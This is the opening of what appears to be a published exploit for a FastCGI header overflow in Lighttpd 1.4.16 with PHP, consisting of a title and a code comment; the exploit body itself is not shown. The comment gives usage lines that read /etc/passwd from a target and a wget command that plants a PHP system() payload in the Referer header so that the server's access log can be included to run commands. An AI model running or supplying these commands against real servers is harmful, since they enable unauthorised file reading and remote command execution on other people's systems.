Lighttpd 1.4.16 - FastCGI Header Overflow Remote Command Execution

/*
 * Remote Lighttpd + FastCGI + PHP example exploit
 *
 * Tested with Lighttpd 1.4.16 and PHP 5.2.4
 *
 * To avoid abuse there's a "remove me" in the code.
 *
 * Example:
 *
 * # ./exploit localhost 80 /etc/passwd
 *
 * or
 *
 * # wget --referer="<?php system('/usr/bin/id'); ?>" localhost
 * # ./exploit localhost 80 /var/log/lighttpd/access.log
 *
